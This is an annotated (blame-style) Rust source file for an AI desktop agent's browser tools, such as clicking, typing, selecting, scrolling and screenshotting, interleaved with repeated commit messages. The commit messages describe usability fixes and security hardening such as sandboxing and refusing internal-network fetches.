changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
settle_after(&mut tab, &sig, 900, 4000);
let after = snapshot(&mut tab);
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
let changed = changes(&before, &after);
// A click into a text box changes no words on the page: that is the cursor in the
// box, not a miss (it read 「看起來沒有變化」 and the bot clicked again and again).
let focus = if name == "browser_click" { focused_field(&mut tab) } else { String::new() };
let changed = if !focus.is_empty() && changed.starts_with(NO_CHANGE) { format!("游標已在「{focus}」裡,可以直接打字或貼上。") } else { changed };
Ok((format!("已{} {what}。\n{changed}", if name == "browser_hover" { "停在" } else { "點" }), None))
}
"browser_type" => {
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
let sig = page_sig(&mut tab);
let before = snapshot(&mut tab);
let (x, y, what) = locate(&mut tab, &rf, &text)?;
click_at(&mut tab, x, y, "left", 1)?;
settle(150);
if !args["append"].as_bool().unwrap_or(false) {
// Select what's there so typing replaces it (works in inputs and editors).
tab.eval("(() => { const e = document.activeElement; if (e && 'select' in e && typeof e.select === 'function') e.select(); else document.execCommand('selectAll'); return 1; })()")?;
press(&mut tab, "Backspace")?;
}
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
insert_text(&mut tab, &s(args, "value"))?;
if args["submit"].as_bool().unwrap_or(false) {
settle(150);
press(&mut tab, "Enter")?;
}
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
settle_after(&mut tab, &sig, 700, 4000);
let after = snapshot(&mut tab);
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
// What the field holds now (an editor's lines too): the bot checks the whole text
// went in before it sends, in this same step.
let now: String = tab.eval("(() => { let e = document.activeElement; while (e && e.shadowRoot && e.shadowRoot.activeElement) e = e.shadowRoot.activeElement; if (!e) return ''; if (e.isContentEditable) return e.innerText; return 'value' in e ? (e.type === 'password' ? '' : String(e.value)) : ''; })()")?.as_str().unwrap_or("").trim().replace('\n', " ⏎ ").chars().take(FIELD_SHOWN_CHARS).collect();
Ok((format!("已在 {what} 輸入。{}\n{}", if now.is_empty() { String::new() } else { format!("欄位現在是「{now}」。") }, changes(&before, &after)), None))
}
"browser_press" => {
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
let sig = page_sig(&mut tab);
let before = snapshot(&mut tab);
if !rf.is_empty() || !text.is_empty() {
let (x, y, _) = locate(&mut tab, &rf, &text)?;
click_at(&mut tab, x, y, "left", 1)?;
settle(150);
}
press(&mut tab, &s(args, "key"))?;
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
settle_after(&mut tab, &sig, 700, 4000);
let after = snapshot(&mut tab);
Ok((format!("已按 {}。\n{}", s(args, "key"), changes(&before, &after)), None))
}
"browser_select" => {
let option = s(args, "option");
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
let sig = page_sig(&mut tab);
let before = snapshot(&mut tab);
let js = format!(
r#"(() => {{ const el = {}; if (!el) return 'missing'; if (el.tagName !== 'SELECT') return 'custom';
const want = {}.toLowerCase(); const o = [...el.options].find(o => o.text.trim().toLowerCase() === want || o.value.toLowerCase() === want) || [...el.options].find(o => o.text.trim().toLowerCase().includes(want));
if (!o) return 'no-option:' + [...el.options].map(o => o.text.trim()).join(' / ');
Object.getOwnPropertyDescriptor(HTMLSelectElement.prototype, 'value').set.call(el, o.value);
el.dispatchEvent(new Event('input', {{bubbles: true}})); el.dispatchEvent(new Event('change', {{bubbles: true}})); return 'ok'; }})()"#,
find_js(&rf, &text),
serde_json::to_string(&option).unwrap_or_default()
);
let r = tab.eval(&js)?.as_str().unwrap_or("").to_string();
if r == "missing" {
return Err("這一頁找不到那個下拉選單。用 browser_elements 看最新的清單。".into());
}
if let Some(opts) = r.strip_prefix("no-option:") {
return Err(format!("沒有「{option}」這個選項。可選:{opts}"));
}
if r == "custom" {
// A custom dropdown: open it with a real click, then click the option.
let (x, y, _) = locate(&mut tab, &rf, &text)?;
click_at(&mut tab, x, y, "left", 1)?;
settle(700);
let (ox, oy, _) = locate(&mut tab, "", &option).map_err(|_| format!("已打開選單,但找不到「{option}」這個選項。用 browser_elements 看選單裡有什麼。"))?;
click_at(&mut tab, ox, oy, "left", 1)?;
}
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
settle_after(&mut tab, &sig, 700, 4000);
let after = snapshot(&mut tab);
Ok((format!("已選「{option}」。\n{}", changes(&before, &after)), None))
}
"browser_scroll" => {
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
let sig = page_sig(&mut tab);
let before = snapshot(&mut tab);
if !rf.is_empty() || !text.is_empty() {
let (_, _, what) = locate(&mut tab, &rf, &text)?;
settle(500);
let after = snapshot(&mut tab);
return Ok((format!("已捲到 {what}。\n{}", changes(&before, &after)), None));
}
Bug sweep: gates, relay 2FA, Windows input, snapshots, encodings Permissions and reach - a file leaving a computer passes the same questions as reading it; "looking" shell commands that do more than look ask first - a symlink out of the work/sealed folder counts as outside it (real paths, not just lexical ones); the search walk skips links - web_fetch and skill_install read the public web only: localhost, the LAN and cloud metadata are refused, at every redirect - preview shows a file without running it; browser_upload may ask - vault: logins no longer match across shared suffixes (pages.dev, com.tw, ...); registrable_domain knows public suffixes - axwrite: found elements are retained (use-after-free) Relay - replacing or turning off 2FA needs the current code (rate-limited); new recovery codes only count once enrollment is verified - a removed computer loses its socket and its `call` access - a site name taken by another account answers 409 - RELAY_TRUST_PROXY: the login lock counts the caller's address, not the proxy's (compose files and README) - httpd: half a body is not a request Desktop - sign-in, join and restore work with 2FA on (code field; --serve reads ANYBOT_ACCOUNT_CODE; the setup wizard points to a pairing code) - Windows: text was typed twice; modifiers are held through click, drag and scroll; horizontal scroll; screen control is no longer refused - a recording that hits the limit is transcribed, not thrown away - bot's computer: a new home volume restores the snapshot; a snapshot is read through before the home is wiped; a failed volume removal stops reset/restore - events of a stopped turn no longer land in the next one; each channel message gets a turn of its own - saving a bot's settings keeps what it got meanwhile (three-way merge); a save file that cannot be read is kept - pages in Big5/GBK/Shift_JIS are read in their own encoding (encoding_rs); osascript output past 64 KB no longer stalls - pick_tab keeps a job's own non-http tab; pictures larger than the texture limit are fitted; the auto-update time field takes typing - skills live in <data>/skills; memories are unnumbered in the prompt; the phone may skillify and skill_install CI - the test step fails when the tests fail (it piped into tail) Tests: anybot 268 passed, 27 ignored; relay 16 passed; clippy unchanged. Not run: Windows on a real machine (win.rs type-checked alone), the Docker paths of the bot's computer, the live accessibility writes. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-10 03:46:17 +00:00
// One of four words, never the model's own text: it goes into the page's script
// (anything else there ran as script on a page the person is logged in to).
let direction = scroll_direction(&s(args, "direction"));
let js = match direction {
"up" => "window.scrollBy(0, -innerHeight * 0.85)",
"top" => "window.scrollTo(0, 0)",
"bottom" => "window.scrollTo(0, document.documentElement.scrollHeight)",
_ => "window.scrollBy(0, innerHeight * 0.85)",
};
// Pages that scroll an inner box: scroll the biggest scrollable element too.
Bug sweep: gates, relay 2FA, Windows input, snapshots, encodings Permissions and reach - a file leaving a computer passes the same questions as reading it; "looking" shell commands that do more than look ask first - a symlink out of the work/sealed folder counts as outside it (real paths, not just lexical ones); the search walk skips links - web_fetch and skill_install read the public web only: localhost, the LAN and cloud metadata are refused, at every redirect - preview shows a file without running it; browser_upload may ask - vault: logins no longer match across shared suffixes (pages.dev, com.tw, ...); registrable_domain knows public suffixes - axwrite: found elements are retained (use-after-free) Relay - replacing or turning off 2FA needs the current code (rate-limited); new recovery codes only count once enrollment is verified - a removed computer loses its socket and its `call` access - a site name taken by another account answers 409 - RELAY_TRUST_PROXY: the login lock counts the caller's address, not the proxy's (compose files and README) - httpd: half a body is not a request Desktop - sign-in, join and restore work with 2FA on (code field; --serve reads ANYBOT_ACCOUNT_CODE; the setup wizard points to a pairing code) - Windows: text was typed twice; modifiers are held through click, drag and scroll; horizontal scroll; screen control is no longer refused - a recording that hits the limit is transcribed, not thrown away - bot's computer: a new home volume restores the snapshot; a snapshot is read through before the home is wiped; a failed volume removal stops reset/restore - events of a stopped turn no longer land in the next one; each channel message gets a turn of its own - saving a bot's settings keeps what it got meanwhile (three-way merge); a save file that cannot be read is kept - pages in Big5/GBK/Shift_JIS are read in their own encoding (encoding_rs); osascript output past 64 KB no longer stalls - pick_tab keeps a job's own non-http tab; pictures larger than the texture limit are fitted; the auto-update time field takes typing - skills live in <data>/skills; memories are unnumbered in the prompt; the phone may skillify and skill_install CI - the test step fails when the tests fail (it piped into tail) Tests: anybot 268 passed, 27 ignored; relay 16 passed; clippy unchanged. Not run: Windows on a real machine (win.rs type-checked alone), the Docker paths of the bot's computer, the live accessibility writes. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-10 03:46:17 +00:00
tab.eval(&format!("(() => {{ {js}; const boxes = [...document.querySelectorAll('*')].filter(e => e.scrollHeight > e.clientHeight + 40 && /(auto|scroll)/.test(getComputedStyle(e).overflowY)).sort((a, b) => b.clientHeight - a.clientHeight); if (boxes[0]) {{ const b = boxes[0]; const d = '{direction}'; if (d === 'top') b.scrollTop = 0; else if (d === 'bottom') b.scrollTop = b.scrollHeight; else b.scrollTop += (d === 'up' ? -1 : 1) * b.clientHeight * 0.85; }} return 1; }})()"))?;
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
settle_after(&mut tab, &sig, 500, 2500);
let after = snapshot(&mut tab);
let pos = tab.eval("JSON.stringify([Math.round(scrollY), document.documentElement.scrollHeight, innerHeight])")?;
Ok((format!("已捲動(位置 {})。\n{}", pos.as_str().unwrap_or(""), changes(&before, &after)), None))
}
"browser_wait" => {
let want = s(args, "text");
let limit = args["seconds"].as_f64().unwrap_or(20.0).clamp(1.0, 60.0);
let start = Instant::now();
while start.elapsed().as_secs_f64() < limit {
let (_, _, lines) = snapshot(&mut tab);
if lines.iter().any(|l| l.contains(&want)) {
return Ok((format!("「{want}」出現了({:.1} 秒)。", start.elapsed().as_secs_f64()), None));
}
settle(500);
}
Err(format!("等了 {limit} 秒,「{want}」沒有出現。"))
}
"browser_find" => {
let want = s(args, "text");
let (_, url, lines) = snapshot(&mut tab);
let hits: Vec<String> = lines.iter().enumerate().filter(|(_, l)| l.to_lowercase().contains(&want.to_lowercase())).take(30).map(|(i, _)| {
let ctx: Vec<&str> = lines[i.saturating_sub(2)..(i + 3).min(lines.len())].iter().map(String::as_str).collect();
format!("• {}", ctx.join(" | ").chars().take(300).collect::<String>())
}).collect();
if hits.is_empty() {
return Ok((format!("這一頁({url})找不到「{want}」。"), None));
}
Ok((format!("「{want}」出現 {} 處:\n{}", hits.len(), hits.join("\n")), None))
}
"browser_table" => table(&mut tab, args).map(|t| (t, None)),
"browser_screenshot" => {
let mut params = json!({"format": "jpeg", "quality": 75});
// Numbered boxes on every clickable thing in view (the default for a plain
// screenshot): look once, then click by number.
let marks = args["marks"].as_bool().unwrap_or(rf.is_empty() && text.is_empty());
let mut listed = vec![];
if marks {
let (_, _, list, _) = elements(&mut tab)?;
